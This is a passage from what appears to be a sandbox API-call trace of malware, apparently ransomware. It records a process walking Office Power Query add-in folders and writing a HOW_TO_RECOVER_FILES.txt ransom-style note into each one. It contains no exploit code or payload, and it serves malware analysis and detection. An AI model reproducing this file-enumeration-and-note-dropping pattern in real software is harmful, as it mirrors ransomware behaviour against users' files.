ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.193] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0219.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.194] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv", lpFilePart=0x0) returned 0x68 [0219.194] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0219.195] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.195] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa25d2ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.195] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.195] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.196] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.196] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0219.196] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0219.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.197] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0219.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\sv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0219.454] GetFileType (hFile=0x824) returned 0x1 [0219.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.454] GetFileType (hFile=0x824) returned 0x1 [0219.455] WriteFile (in: hFile=0x824, lpBuffer=0x36100c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x36100c0*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.674] CloseHandle (hObject=0x824) returned 1 [0219.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th", lpFilePart=0x0) returned 0x68 [0219.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0219.675] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.675] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.675] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.675] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.675] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.676] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.676] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0219.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.676] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th", lpFilePart=0x0) returned 0x68 [0219.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0219.677] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.677] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0219.678] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0219.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.679] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0219.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\th\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0219.680] GetFileType (hFile=0x824) returned 0x1 [0219.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.680] GetFileType (hFile=0x824) returned 0x1 [0219.681] WriteFile (in: hFile=0x824, lpBuffer=0x37e7420*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x37e7420*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.682] CloseHandle (hObject=0x824) returned 1 [0219.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.682] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr", lpFilePart=0x0) returned 0x68 [0219.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0219.683] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.683] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.683] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x402b37e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x402b37e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4110038, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.683] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.684] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.684] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.684] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0219.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr", lpFilePart=0x0) returned 0x68 [0219.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0219.685] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.686] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.686] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x402b37e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x402b37e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4110038, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.686] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", 